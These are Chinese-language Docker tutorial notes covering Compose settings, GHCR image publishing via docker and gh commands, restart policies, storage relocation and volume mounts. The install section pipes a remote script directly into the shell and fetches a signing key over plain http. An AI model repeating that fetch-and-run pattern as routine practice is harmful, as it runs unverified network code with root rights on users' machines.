以只读模式挂载容器的 root 文件系统，意味着不能对容器内容进行修改。

```yaml
read_only: true
```

打开标准输入，可以接受外部输入。

```yaml
stdin_open: true
```

模拟一个伪终端。

```yaml
tty: true
```

### 读取变量

Compose 模板文件支持动态读取主机的系统环境变量和当前目录下的 `.env` 文件中的变量。

例如，下面的 Compose 文件将从运行它的环境中读取变量 `${MONGO_VERSION}` 的值，并写入执行的指令中。

```yaml
version: "3"
services:

db:
  image: "mongo:${MONGO_VERSION}"
```

如果执行 `MONGO_VERSION=3.2 docker-compose up` 则会启动一个 `mongo:3.2` 镜像的容器；如果执行 `MONGO_VERSION=2.8 docker-compose up` 则会启动一个 `mongo:2.8` 镜像的容器。

若当前目录存在 `.env` 文件，执行 `docker-compose` 命令时将从该文件中读取变量。

在当前目录新建 `.env` 文件并写入以下内容。

```bash
# 支持 # 号注释
MONGO_VERSION=3.6
```

执行 `docker-compose up` 则会启动一个 `mongo:3.6` 镜像的容器。

---

---
url: /docker/2tmeelv6/index.md
---
# GHCR CLI 命令整理
## 登录 GHCR

::: info 官方文档

[GitHub 容器注册表](https://docs.github.com/zh/packages/working-with-a-github-packages-registry/working-with-the-container-registry)

:::

Docker 登录

```bash
docker login ghcr.io
```

**Username**：你的 GitHub 用户名

**Password**：GitHub Personal Access Token (PAT)，需包含 `read:packages`（拉取）和 `write:packages`（推送）权限

成功登录后可以推送或拉取私有镜像

::: tip

生成 **GitHub Personal Access Token（PAT）**，用于认证

**步骤：**

* 访问 [GitHub 设置 → Developer settings → Personal access tokens → Fine-grained tokens](https://github.com/settings/tokens)
* 创建新 token，勾选 `write:packages`、`read:packages`、`delete:packages` 权限
* 保存 token（只显示一次）

:::

## 安装GitHub CLI

通过官方安装包，访问 [GitHub CLI Releases](https://github.com/cli/cli/releases)

```bash
gh --version
```

## 给本地镜像打 GHCR 标签

```bash
docker tag <本地镜像名>:<标签> ghcr.io/<用户名>/<仓库名>:<标签>
```

示例：

```bash
docker tag mynapp:1.0.0 ghcr.io/yumengjh/mynestapp:1.0.0
```

把本地镜像 `mynapp:1.0.0` 赋予远程 GHCR 地址标签，不会复制镜像，只是加标签引用

## 推送镜像到 GHCR

```bash
docker push ghcr.io/<用户名>/<仓库名>:<标签>
```

示例：

```bash
docker push ghcr.io/yumengjh/mynestapp:1.0.0
```

推送私有镜像需要先登录，公共镜像推送无需限制

## 拉取镜像

```bash
docker pull ghcr.io/<用户名>/<仓库名>:<标签>
```

示例：

```bash
docker pull ghcr.io/yumengjh/mynestapp:1.0.0
```

拉取私有镜像需登录 GHCR，公共镜像无需登录

## 查看镜像列表

**本地镜像**：

```bash
docker images
```

**远程 GHCR 镜像**：需要 GitHub API 或 `gh` CLI

```bash
gh api -H "Accept: application/vnd.github+json" /user/packages/container
```

或者查看某个仓库：

```bash
gh api -H "Accept: application/vnd.github+json" /users/<用户名>/packages/container/<包名>/versions
```

## 修改镜像可见性

GHCR 私有镜像默认私有，可以改为公共：

使用 GitHub CLI

```bash
gh api \
  -X PATCH \
  -H "Accept: application/vnd.github+json" \
  /user/packages/container/<包名> \
  -f visibility=public
```

`visibility=public` → 设置为公开

`visibility=private` → 设置为私有

## 删除镜像版本

删除单个版本：

```bash
gh api \
  -X DELETE \
  -H "Accept: application/vnd.github+json" \
  /user/packages/container/<包名>/versions/<version_id>
```

删除整个镜像包：

```bash
gh api \
  -X DELETE \
  -H "Accept: application/vnd.github+json" \
  /user/packages/container/<包名>
```

注意：版本 ID 可以通过：

```bash
gh api /user/packages/container/<包名>/versions
```

查到。

## 重命名或迁移仓库

GHCR 本身不支持直接改名，通常做法：

给原镜像打新标签：

```bash
docker tag ghcr.io/olduser/oldrepo:1.0 ghcr.io/newuser/newrepo:1.0
```

推送到新仓库：

```bash
docker push ghcr.io/newuser/newrepo:1.0
```

删除旧仓库（可选）

## 更新镜像

新版本更新：先 build 新镜像，然后打标签推送即可：

```bash
docker build -t mynapp:1.1.0 .
docker tag mynapp:1.1.0 ghcr.io/yumengjh/mynestapp:1.1.0
docker push ghcr.io/yumengjh/mynestapp:1.1.0
```

可以同时推 `latest` 标签：

```bash
docker tag mynapp:1.1.0 ghcr.io/yumengjh/mynestapp:latest
docker push ghcr.io/yumengjh/mynestapp:latest
```

---

---
url: /docker/3keo8bqp/index.md
---
```sh
# 基础镜像
alpine
debian
ubuntu
# CI/CD & 运维必备
docker
# 常见语言构建环境
golang
node
python
openjdk
maven
# 消息队列类
rabbitmq
# 前端静态服务必备
nginx
# 最常见数据库和缓存
mongo
mysql
postgres
# 其他应用
fatedier/frp
ghcr.io/umami-software/umami:postgresql-latest
ghcr.io/umami-software/umami:mysql-latest
imaegoo/twikoo
redis
portainer/portainer-ce
phpmyadmin
minio/minio
jenkins/jenkins
```

---

---
url: /docker/9rjy2nwt/index.md
---
# 常见问题总结
## 镜像相关

### 清理临时镜像文件

```bash
docker image prune
```

### 查看镜像支持的环境变量

```bash
docker run IMAGE env
```

### 本地的镜像文件存放的位置

与 Docker 相关的本地资源默认存放在 `/var/lib/docker/` 目录下，以 `overlay2` 文件系统为例，其中 `containers` 目录存放容器信息，`image` 目录存放镜像信息，`overlay2` 目录下存放具体的镜像层文件。

### 构建镜像应该遵循的原则

整体原则上，尽量保持镜像功能的明确和内容的精简，要点包括

* 尽量选取满足需求但较小的基础系统镜像，例如大部分时候可以选择 `alpine` 镜像，仅有不足六兆大小；
* 清理编译生成文件、安装包的缓存等临时文件；
* 安装各个软件时候要指定准确的版本号，并避免引入不需要的依赖；
* 从安全角度考虑，应用要尽量使用系统的库和依赖；
* 如果安装应用时候需要配置一些特殊的环境变量，在安装后要还原不需要保持的变量值；
* 使用 Dockerfile 创建镜像时候要添加 .dockerignore 文件或使用干净的工作目录。

## 容器相关

### 停止所有正在运行的容器

```yaml
docker stop $(docker container ls -q)
```

### 批量清理已经停止的容器

```yaml
docker container prune
```

### 获取某个容器的 PID 信息

```bash
docker inspect --format '{{ .State.Pid }}' <CONTAINER ID or NAME>
```

### 获取某个容器的 IP 地址

```bash
docker inspect --format '{{ .NetworkSettings.IPAddress }}' <CONTAINER ID or NAME>
```

### 给容器指定一个固定 IP 地址，而不是每次重启容器 IP 地址都会变

使用以下命令启动容器可以使容器 IP 固定不变

```bash
docker network create -d bridge --subnet 172.25.0.0/16 my-net

docker run --network=my-net --ip=172.25.3.3 -itd --name=my-container busybox
```

### 临时退出一个正在交互的容器的终端，而不终止它

按 `Ctrl-p Ctrl-q`。如果按 `Ctrl-c` 往往会让容器内应用进程终止，进而会终止容器。

### 控制容器占用系统资源（CPU、内存）的份额

使用 `docker create` 命令创建容器或使用 `docker run` 创建并启动容器的时候，可以使用 -c|--cpu-shares\[=0] 参数来调整容器使用 CPU 的权重；使用 -m|--memory\[=MEMORY] 参数来调整容器使用内存的大小。

## 配置相关

### Docker 的配置文件位置

使用 `systemd` 的系统（如 Ubuntu 16.04、Centos 等）的配置文件在 `/etc/docker/daemon.json`

### 更改 Docker 的默认存储位置

Docker 的默认存储位置是 `/var/lib/docker`，如果希望将 Docker 的本地文件存储到其他分区，

可以使用 Linux 软连接的方式来完成，

或者在启动 daemon 时通过 `-g` 参数指定，

或者修改配置文件 `/etc/docker/daemon.json` 的 "data-root" 项 。

可以使用 `docker system info | grep "Root Dir"` 查看当前使用的存储位置。

---

---
url: /docker/bem34iju/index.md
---
# Docker 快速上手

## 安装

在 Ubuntu 上用阿里云镜像源安装 Docker CE（稳定版）

```bash
sudo apt-get install ca-certificates curl
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get install docker-ce docker-ce-cli containerd.io
```

Docker 官方推荐的一键安装脚本

```bash
apt-get update
apt-get install -y apt-transport-https ca-certificates curl gnupg lsb-release
curl -fsSL https://get.docker.com | sh
```

## 介绍

Docker 简单来说就是一个 **开源的应用容器引擎**。

它让开发者可以 **将他们的应用程序及其所有依赖项打包到一个标准化的、可移植的容器中**。

这个容器可以在任何支持 Docker 的环境中运行，**无论是开发者的笔记本电脑、测试服务器还是生产环境的云服务器，都可以保持一致的行为**。

通过 Docker，**应用程序的部署变得更加快速、可靠和高效，因为它消除了不同运行环境之间的兼容性问题**。它使得 **开发、测试和生产环境的一致性成为可能，大大简化了软件的交付流程**。

## 拉取镜像

```bash
docker pull docker.io/library/nginx:latest
```

`dock pull` 命令用于从配置的镜像仓库（registry），例如 Docker Hub 或私有镜像仓库中，下载特定的 Docker 镜像到本地系统。

`docker.io` 是 Docker 仓库的注册表地址，表示这是 docker hub 的官方仓仓库，官方仓库可以省略仓库地址

`library` 是命名空间，docker hub 是公共仓库，每个人都可以上传自己的镜像，所以要用名称进行区分，library 是 docker 官方仓库的命名空间，如果一个镜像属于是官方的命名空间，那这部分可以省略不写

`nginx` 是镜像名称，表示要下载的镜像是 nginx

`latest` 是镜像的标签，表示要下载的镜像是 nginx 的最新版本，标签可以省略，默认就是 latest，也可以指定其他版本的标签，例如 `nginx:1.21`

简化后的命令为：`docker pull nginx`，表示从 Docker Hub 上拉取最新版本的 nginx 镜像。

这些镜像包含了运行一个或多个容器实例所需的所有应用程序组件、依赖库、运行时环境、以及相关的代码和配置文件。在用户创建并启动容器之前，必须确保其所依赖的基础或特定应用镜像已通过 `pull` 操作下载到本地。

该命令是 Docker 工作流中的一个基本且重要的步骤，它保证了用户能够获取到最新版本或特定标签（tag）的镜像，从而为容器的正确部署和运行奠定基础。

***

`docker pull --platform=xxx` 命令用于从 Docker 仓库中拉取特定平台的镜像。这个命令允许用户指定所需的操作系统架构和平台类型，以确保拉取到的镜像能够在目标环境中正确运行。

默认情况 Docker 会根据当前系统的架构自动选择合适的镜像，但有时用户可能需要拉取特定平台的镜像，例如在 ARM 架构的设备上运行 x86 架构的镜像，或者在 x86 架构的设备上运行 ARM 架构的镜像。

例如，`docker pull --platform=linux/amd64 nginx` 将拉取适用于 Linux 操作系统和 AMD64 架构的 Nginx 镜像。

***

[Docker Hub](https://hub.docker.com/) 是 Docker 官方提供的公共镜像仓库，用户可以在其中找到各种开源和官方维护的 Docker 镜像，它提供了一个集中式的平台，允许用户上传、分享和下载 Docker 镜像。其他镜像站：[Docker Hub 镜像搜索](https://docker.fxxk.dedyn.io)

在国内的网络环境中执行命令可能会遇到报错，可以通过修改配置文件来使用国内的镜像源。详细资源：https://github.com/tech-shrimp/docker\_installer

## 管理镜像

`docker image` 命令用于管理本地的 Docker 镜像，包括查看、删除、标记等操作。常用的子命令包括：

* `docker image ls`：列出本地所有的镜像
* `docker image rm`：删除一个或多个镜像
* `docker image tag`：为镜像添加一个新的标签

`docker rmi` 命令也可以用于删除一个或多个 Docker 镜像，将需要删除的镜像 ID 或名称作为参数传递给该命令，这个命令可以帮助用户清理不再需要的镜像，释放存储空间。

## 创建容器

`docker run` 命令用于创建并启动一个新的容器实例。

这个命令可以接受多个参数，以便在启动容器时进行配置。

将需要运行的镜像名称作为参数传递给该命令，这个命令是 Docker 的核心命令之一，允许用户从指定的镜像创建一个新的容器，并在该容器中运行指定的命令或应用程序。

每次运行 `docker run` 命令时，Docker 会根据指定的镜像创建一个新的容器实例。容器是镜像的一个运行时实例，它包含了应用程序及其所有依赖项。

`docker run -d`，其中的 `d` 表示 detached mode（分离模式），容器将在后台运行，而不是绑定到当前终端，执行后会返回一个容器 ID。这个命令常用于需要长时间运行的服务或应用程序，例如 Web 服务器、数据库等。

当直接使用 `docker run` 命令时，如果发现本地不存在  指定的镜像，Docker 会自动尝试从默认的 Docker Hub 仓库中拉取该镜像。如果需要从其他仓库拉取镜像，可以使用 `docker pull` 命令手动拉取。

`docker run -p` 命令用于将容器的端口映射到宿主机的端口。通过指定 `-p` 选项，用户可以将容器内部的服务暴露到宿主机上，从而实现外部访问。例如，`docker run -p 8080:80 nginx` 将容器的 80 端口映射到宿主机的 8080 端口。

`-p` 参数用于端口映射，其主要作用是将 Docker 容器内部的网络端口与宿主机的网络端口进行关联，从而允许外部访问容器内运行的服务。

**核心概念**：

* **网络隔离**：Docker 容器拥有独立的虚拟网络环境，与宿主机网络默认是隔离的。这意味着，即使容器内运行着一个服务（如 Nginx），在不进行端口映射的情况下，也无法直接通过宿主机的 IP 地址和端口访问到该服务。
* **端口映射的作用：**  解决网络隔离问题，实现宿主机与容器之间的通信。通过端口映射，当访问宿主机的特定端口时，流量会被转发到容器内部对应的端口，从而能够访问容器内运行的服务。

使用 `-p` 参数进行端口映射的格式为：`宿主机端口:容器内端口`。

* **冒号前：**  宿主机的端口（外部端口）。

* **冒号后：**  容器内部的端口（内部端口）。

示例： ` docker run -p 80:80 nginx`，这个命令会将宿主机的 80 端口映射到 Nginx 容器内部的 80 端口，这样，当在宿主机浏览器中访问 `localhost:80` 时，实际上就是访问到了 Nginx 容器内的服务，网页因此可以正常显示。

一个容器端口可以映射到多个宿主端口。要实现这一点，你需要在 `docker run` 命令中使用 `-p` 参数多次，每个所需的映射使用一次。

例如，要将容器的端口 33 映射到宿主端口 1253 和宿主端口 2313，你可以使用以下命令：

```bash
docker run -p 1253:33 -p 2313:33 my_image
```

这允许你从宿主机的两个不同端口访问在容器内部运行在端口 33 上的服务。

在运行的时候可以通过 `-name` 参数为容器指定一个名称，这样在删除容器时可以使用名称而不是容器 ID。例如：

```bash
docker run --rm -d --name mynginx -p 8080:80 nginx
```

并且在后续的操作中可以使用名称而不是容器 ID，从而简化命令，这个名称必须是 **唯一** 的。

`--name mynginx`：给容器起一个名字，方便下次用这个名字操作（如 docker stop mynginx）。

`--rm`：容器一旦停止就自动删除，不会出现在 docker ps -a 中，这个参数可以帮助用户在容器不再需要时自动清理资源，避免积累大量已停止的容器。

`docker run -e` 命令用于在创建容器时设置环境变量。这个命令允许用户在容器内定义特定的环境变量，以便在运行时使用。

```bash
docker run -e MY_ENV_VAR=value nginx 
```

可以传递多个环境变量，使用多个 `-e` 参数：

```bash
docker run -e MY_ENV_VAR1=value1 -e MY_ENV_VAR2=value2 nginx
```

`docker run -it` 命令用于创建并启动一个新的容器实例，并进入该容器的交互式终端。这个命令常用于需要与容器内的应用程序进行交互的场景，例如调试或测试：

```bash
docker run -it --rm alpine sh
```

进入容器后，可以使用 `exit` 命令退出容器的交互式终端。由于使用了 `--rm` 参数，容器停止后会自动被删除。

`--restart` 策略定义了容器在 **退出后**（无论是因为进程结束、崩溃还是宿主机重启），由 Docker 守护进程自动重新启动的规则。

**`no` - 不自动重启（默认值）**

* **行为**：容器 **永远不会** 自动重启。无论容器以何种状态退出（即使是异常退出），它都会保持停止状态。
* **使用场景**：临时性的任务、一次性执行的脚本、或者您希望手动控制其生命周期的开发/测试容器。

```bash
docker run --restart=no my-app
# 或者直接省略，因为它是默认值
docker run my-app
```

**`on-failure` - 失败时重启**

* **行为**：只有当容器 **以非零状态码退出**（即表示失败）时，Docker 才会尝试重启它。如果容器正常退出（状态码为 0），则不会被重启。
  * 可以限制最大重启次数：`on-failure:3` 表示最多尝试重启 3 次。
* **使用场景**：需要确保在程序崩溃或发生错误时能自动恢复的服务，但任务成功完成后就不需要再运行。例如，一个定时的数据处理任务，如果中途出错，我们希望它重试。

```bash
# 在失败时无限次重启
docker run --restart=on-failure my-flaky-app

# 最多重启 5 次
docker run --restart=on-failure:5 my-flaky-app
```

**`always` - 总是重启**

* **行为**：**无论容器因何原因退出**，Docker 都会无条件地重启它。这包括：
  * 容器进程正常结束（退出码为 0）。
  * 容器进程异常结束（退出码非 0）。
  * 容器被 `docker stop` 或 `docker restart` 命令正常停止后，**当 Docker 守护进程启动时（例如宿主机重启后），它也会被重新启动**。
* **注意**：如果容器被 `docker stop` 明确停止，在手动再次启动它之前，它不会立即重启。但宿主机重启会触发它的重启。
* **使用场景**：需要持续运行、保持高可用的长期服务，如 Web 服务器（Nginx）、API 后端等。

```bash
docker run -d --restart=always --name nginx nginx
```

**`unless-stopped` - 除非被停止，否则总是重启**

* **行为**：与 `always` 类似，但有一个 **关键区别**：
  * 如果容器是 **被 `docker stop` 命令明确停止的**，那么即使 Docker 守护进程重启（或宿主机重启），**该容器也不会被自动启动**。
  * 除此之外的其他退出情况（进程自己退出、系统崩溃等），它都会在守护进程启动时被重启。
* **使用场景**：这是最常用和最智能的策略。适用于那些您希望默认一直运行，但有时可能需要手动停止并使其保持停止状态的服务。它比 `always` 更尊重用户的意图。

```bash
docker run -d --restart=unless-stopped --name database mysql:8.0
```

**策略对比总结**

为了更直观地理解，请看下表：

| 重启策略             | 容器正常退出 (exit 0) | 容器异常退出 (exit 非 0) | 宿主机重启后 | 被 `docker stop` 停止后，宿主机重启 |
| -------------------- | --------------------- | ----------------------- | ------------ | ----------------------------------- |
| **`no`**             | ❌                     | ❌                       | ❌            | ❌                                   |
| **`on-failure`**     | ❌                     | ✅                       | ✅            | ❌                                   |
| **`always`**         | ✅                     | ✅                       | ✅            | ✅                                   |
| **`unless-stopped`** | ✅                     | ✅                       | ✅            | ❌                                   |

注：`on-failure` 在宿主机重启后，只有之前是因为异常退出而停止的容器才会被重启。

**查看当前策略**：

```bash
docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' <container-name>
```

使用 `docker update` 命令修改运行中容器的策略：

**注意**：某些更改可能在运行时不生效

```bash
docker update --restart=unless-stopped <container-name>
```

如果不想反复的创建和删除容器，可以使用 `docker start` 和 `docker stop` 命令来管理已存在的容器。这样可以避免重复的资源开销，提高效率，之前使用 `docker run` 运行时传入的配置已经被保留，下次启动时会使用相同的配置。

## 管理容器

`docker ps` 命令用于列出当前正在运行的容器，`ps` 就是 process status (进程状态) 的缩写，它显示了容器的基本信息，包括容器 ID、镜像名称、创建时间、状态、端口映射等。

```bash
docker ps
CONTAINER ID   IMAGE       COMMAND                  CREATED         STATUS         PORTS                                                  NAMES
c710212735c9   mysql:8.0   "docker-entrypoint.s…"   5 seconds ago   Up 3 seconds   0.0.0.0:3306->3306/tcp, :::3306->3306/tcp, 33060/tcp   my-mysql-container
```

`CONTAINER ID` 是容器的 id，每创建一个容器，Docker 就会分配一个唯一的 ID，用于标识该容器

`IMAGE` 列显示了容器所基于的镜像名称

`COMMAND` 列显示了容器启动时执行的命令

`CREATED` 列显示了容器创建的时间

`STATUS` 列显示了容器的当前状态（如运行中、已停止等）

`PORTS` 列显示了容器暴露的端口映射信息

`NAMES` 列显示了容器的名称

`docker rm 容器ID` 命令用于删除一个或多个 Docker 容器。

这个命令可以帮助用户清理不再需要的容器，释放系统资源，在删除正在运行的容器可以使用 `-f` 参数强制删除。

列出所有容器可以使用 `docker ps -a` 命令，`-a` 参数表示列出所有容器，包括已停止的容器。

`docker ps` 命令默认只列出正在运行的容器。

使用 `-a` 列出的所有容器中，状态为 `Exited` 的容器表示已经停止运行的容器。可以使用 `docker rm` 命令删除这些已停止的容器，这些停止运行的容器不会占用系统资源，但如果不删除，它们仍然会占用存储空间。

可以使用 `docker start/stop` 启动或者停止已有容器，前提是你没有用 `--rm`

```bash
docker start mynginx
docker stop mynginx
```

批量删除所有停止的容器：

```bash
docker container prune
```

会提示确认，删除所有“Exited”或“Created”的容器。

删除所有容器 **慎用**：

```bash
docker rm $(docker ps -aq)
```

`-q`: 只输出容器的 ID，不显示其他信息。

`docker inspect` 命令用于查看容器或镜像的详细信息，包括其配置、状态、网络设置等信息。

```bash
docker inspect mynginx
```

`docker create` 命令用于创建一个新的容器实例，但不会立即启动它。这个命令可以用于预先配置容器的设置，然后在需要时手动启动。

```bash
docker create --name mynginx -p 8080:80 nginx
```

后续启动使用 `docker start` 命令

`docker logs 容器ID` 命令用于查看容器的日志输出。这个命令可以帮助用户调试和监控容器内运行的应用程序。

```bash
docker logs mynginx
```

可以加上 `-f` 参数来实时查看日志输出

`docker exec 进程ID 执行的命令` 命令用于在运行中的容器内执行命令。这个命令允许用户在容器内运行特定的命令或进入容器的交互式终端。

```bash
docker exec b12a3072d8b3 ps -ef
```

其中 `ps -ef` 命令用于列出容器内的所有进程。

`docker exec -it 进程ID /bin/bash` 命令用于进入正在运行的容器的交互式终端。这个命令允许用户在容器内执行命令，就像在本地终端一样。

```bash
docker exec -it mynginx /bin/bash
```

`/bin/bash` 是容器内的一个常用 shell，允许用户在容器内执行命令，可以使用 `exit` 命令退出容器的交互式终端。

容器内部的命令行是一个极简的 Linux 环境，通常只包含最基本的命令和工具。为了在容器内执行更复杂的操作，可能需要安装额外的软件包。

执行命令前先执行 `cat /etc/os-release` 查看容器的操作系统版本。

比如：

```bash
cat /etc/os-release

PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
```

其中显示了容器的操作系统信息，包括名称、版本等。

比如上述的系统的软件的包管理工具是 `apt`，可以使用以下命令安装软件包：

```bash
apt update
apt install [package_name]
```

安装 Vim 编辑器的命令为：

```bash
apt install vim
```

## 镜像位置

在 Windows 上，Docker 镜像的默认下载位置取决于 Docker 的设置：

**在 Windows 的 Docker Desktop 上，镜像的物理存储位置取决于其运行后端：**

* **当使用 WSL2 后端时（推荐且默认）**：镜像实际存储在一个名为 `docker-desktop-data` 的 WSL2 发行版内。
  * **访问路径**：在文件资源管理器的地址栏输入 `\\wsl$\docker-desktop-data\data\docker\overlay2`。
  * 在这里，您可以看到所有镜像层和容器读写层的具体文件。
* **传统 Hyper-V 后端**：镜像存储在一个 Docker Desktop 管理的虚拟硬盘 (VHD) 文件中，默认位于 `C:\ProgramData\DockerDesktop`。该文件对用户不直接可见或可操作。

请注意，通常通过 Docker CLI 命令与 Docker 镜像交互，而不是直接访问或修改这些文件。

您可以使用 `docker info` 命令查看 Docker Root Dir，它指示 Docker 存储其数据的位置。

**在 Linux 系统中**，Docker 的默认数据存储位置通常是  `/var/lib/docker` **。修改此位置需要配置 Docker 守护进程**。

**步骤：**

1. **停止 Docker 服务：**
   在修改任何配置前，务必停止 Docker 服务以避免数据损坏。

   ```bash
   sudo systemctl stop docker
   ```

2. **备份（可选但强烈建议）：**
   为了安全起见，可以备份当前的 Docker 数据目录。

   ```bash
   sudo cp -rp /var/lib/docker /var/lib/docker_backup
   ```

3. **创建新的存储目录：**
   选择一个新的位置来存储 Docker 数据，并创建该目录。例如，在 `/mnt/new_docker_data`：

   ```bash
   sudo mkdir -p /mnt/new_docker_data
   ```

4. **移动现有 Docker 数据到新目录：**
   将旧目录中的所有内容移动到新创建的目录。这一步 **非常重要**，因为这将保留你现有的镜像、容器和卷等数据。

   ```bash
   sudo mv /var/lib/docker/* /mnt/new_docker_data/
   ```

   **注意：**  如果新目录是空的，你也可以选择不移动，让 Docker 重新创建一个全新的环境。但如果你有重要的现有数据，那么移动是必须的。

5. **配置 Docker 守护进程：**
   Docker 的配置文件是 `/etc/docker/daemon.json`。如果文件不存在，则创建它；如果存在，则编辑它。

   * 使用你喜欢的文本编辑器打开或创建 `daemon.json` 文件：

     ```bash
     sudo nano /etc/docker/daemon.json
     ```

   * 添加或修改 `data-root` 字段指向新的存储路径。如果文件中有其他配置，请确保这是一个有效的 JSON 格式（例如，用逗号分隔多个条目）。

     ```json
     {
       "data-root": "/mnt/new_docker_data"
     }
     ```

     保存并关闭文件。

6. **启动 Docker 服务：**

   ```bash
   sudo systemctl start docker
   ```

7. **验证：**
   运行 `docker info` 命令，查找 "Docker Root Dir" 行，确认其指向新的路径。

   ```bash
   docker info | grep "Docker Root Dir"
   ```

   输出应显示你刚刚配置的新路径。

Docker 的存储位置和行为取决于您使用的是 **Docker Desktop**（绝大多数用户的选择）还是经典的 **Windows Server 版 Docker**。以下内容主要针对 Docker Desktop。

Docker Desktop 默认通过 **WSL 2**（推荐后端）或 **Hyper-V** 在虚拟机中运行 Linux 内核，因此其数据（包括镜像、容器）存储在专用的虚拟磁盘中，而非 Windows 宿主目录。

* **WSL 2 后端**：数据存储在一个名为 `docker-desktop-data` 的 WSL 发行版内。其物理文件路径通常为 `\\wsl$\docker-desktop-data`，对用户透明。
* **Hyper-V 后端**：数据存储在一个 Hyper-V 虚拟硬盘（`.vhdx` 文件）中，默认位于 `C:\Users\Public\Documents\Hyper-V\` 下。

如果您希望将 Docker 数据移动到其他驱动器以释放 C 盘空间，请根据您的后端类型选择以下方法。

**对于使用 WSL 2 后端的用户**

这是最常见的情况。由于 Docker Desktop 的设置界面可能不直接提供 WSL 发行版的迁移选项，需要通过命令行操作。

**步骤如下：**

1. **关闭 Docker 与 WSL**：
   在 PowerShell（以管理员身份运行）中执行以下命令，确保所有相关进程关闭：

   ```bash
   wsl --shutdown
   ```

2. **导出 `docker-desktop-data` 发行版**：
   将现有数据导出为一个备份文件（例如，导出到 E 盘）：

   ```bash
   wsl --export docker-desktop-data E:\docker-desktop-data.tar
   ```

3. **注销原有发行版**：
   此操作会删除当前的数据，请确保上一步导出成功。

   ```bash
   wsl --unregister docker-desktop-data
   ```

4. **在新位置导入发行版**：
   将备份文件导入到新的目标目录（例如，`E:\Docker\wsl`），这将在此目录创建新的虚拟磁盘文件。

   ```bash
   wsl --import docker-desktop-data E:\Docker\wsl E:\docker-desktop-data.tar --version 2
   ```

   完成后，可手动删除 `E:\docker-desktop-data.tar` 备份文件以节省空间。

5. **重启 Docker Desktop**：
   完成以上步骤后，启动 Docker Desktop。它将自动使用新位置的数据。

**对于使用 Hyper-V 后端的用户**

此方法更简单，可直接通过 Docker Desktop 图形界面完成。

**步骤如下：**

1. 点击系统托盘中的 Docker Desktop 图标，选择 **“Settings”**。
2. 导航至 **“Resources”** -> **“Advanced”** 选项卡。
3. 找到 **“Disk image location”** 设置项。
4. 点击 **“Browse”**，选择一个新的目标文件夹（例如 `E:\Docker`）。
5. 点击 **“Apply & Restart”**。

Docker Desktop 将自动在后台完成虚拟磁盘文件的迁移工作，并重启服务。

**注意事项：**

* Docker Desktop 对数据存储的管理比原生 Linux 或 Windows Server 版更集成和自动化。
* 直接在 Windows 文件系统中找到并修改 Docker 数据文件是不可取的，因为它们通常在 WSL 或 Hyper-V 虚拟磁盘内部。
* 如果 Docker Desktop 没有直接的 GUI 选项来移动数据，WSL 版本的解决方案会涉及到 WSL 命令，它移动的是整个 WSL 虚拟磁盘。

**Windows Server (原生 Docker Daemon)**

如果你在 Windows Server 上手动安装了 Docker 引擎而不是 Docker Desktop，其行为更类似于 Linux 版本。

**步骤：**

1. **停止 Docker 服务：**

   ```powershell
   Stop-Service docker
   ```

2. **创建新的存储目录：**
   选择一个新的位置，例如 `D:\DockerData`：

   ```powershell
   New-Item -ItemType Directory -Path D:\DockerData
   ```

3. **移动现有 Docker 数据到新目录：**
   默认路径通常是 `C:\ProgramData\Docker`。

   ```powershell
   Move-Item -Path "C:\ProgramData\Docker\daemon.json" -Destination "D:\DockerData" -Force # 移动 daemon.json 如果存在，通常它可能不存在
   Move-Item -Path "C:\ProgramData\Docker\containers" -Destination "D:\DockerData" -Force -Recurse -ErrorAction SilentlyContinue # 移动容器数据
   Move-Item -Path "C:\ProgramData\Docker\image" -Destination "D:\DockerData" -Force -Recurse -ErrorAction SilentlyContinue # 移动镜像数据
   # 根据需要移动其他子目录，如 volumes, swarm, network等
   ```

   * **注意：**  确保移动了 `C:\ProgramData\Docker` 下所有重要的子目录。或者，你可以直接将整个 `C:\ProgramData\Docker` 文件夹移动到新位置，但请确保在移动前没有任何进程占用这些文件。

4. **配置 Docker 守护进程：**
   创建一个或编辑 `daemon.json` 文件。在 Windows Server 上，这个文件通常位于 `C:\ProgramData\Docker\config` 或 `C:\ProgramData\Docker`。如果文件不存在，你需要创建它。

   * 使用记事本或其他文本编辑器打开或创建此文件：
     例如，打开 `C:\ProgramData\Docker\config\daemon.json`。

   * 添加或修改 `data-root` 字段指向新的存储路径：

     ```json
     {
       "data-root": "D:\\DockerData"
     }
     ```

     请注意 Windows 路径中使用双反斜杠 `\\`，或者使用正斜杠 `/`。

     保存并关闭文件。

5. **启动 Docker 服务：**

   ```powershell
   Start-Service docker
   ```

6. **验证：**
   运行以下命令并查找 "Docker Root Dir" 行：

   ```bash
   docker info | Select-String "Docker Root Dir"
   ```

   输出应显示你配置的新路径。

**一般注意事项：**

* **权限：**  确保新的存储目录具有 Docker 服务账户的读写权限。在 Linux 上，通常是 `root` 或 `docker` 组。
* **空间：**  确保新的存储位置有足够的磁盘空间来容纳现有的 Docker 数据和未来的增长。
* **重启：**  每次修改 `daemon.json` 后，都需要重启 Docker 服务才能使更改生效。
* **数据丢失风险：**  在操作前最好进行备份。错误的操作可能导致镜像和容器数据的丢失。

## 挂载卷

`docker run -v` 参数用于 **挂载卷（Volume Mounting）**  ，其核心功能是实现宿主机与容器之间文件目录的双向绑定。

**核心功能和作用：**

1. **文件目录绑定：**  `-v` 参数将宿主机上的一个文件目录与容器内部的某个指定目录关联起来。
2. **双向同步：**  一旦绑定建立，对其中任何一端（宿主机或容器）该目录内容的修改，都会实时反映到另一端。宿主机与容器通过这个共享目录紧密联系。
3. **数据持久化：**  这是挂载卷最重要的作用。当容器被删除时，容器内部的所有数据通常也会被一并删除。然而，如果使用了挂载卷，容器中与宿主机目录绑定的数据实际上是存储在宿主机上的。这意味着，即使容器被删除，这些数据也会安全地保留在宿主机上，从而实现了数据的持久化保存。

比如：

```bash
docker run -v /website/html:/usr/share/nginx/html nginx
```

`-v 宿主机路径:容器内路径` 这种挂载方式被称为绑定挂载

还有一种方式是让 Docker 自动创建一个存储位置，为存储空间提供一个名称，然后在挂载的时候直接使用名称就行了，这种方式叫 **命名卷挂载**。

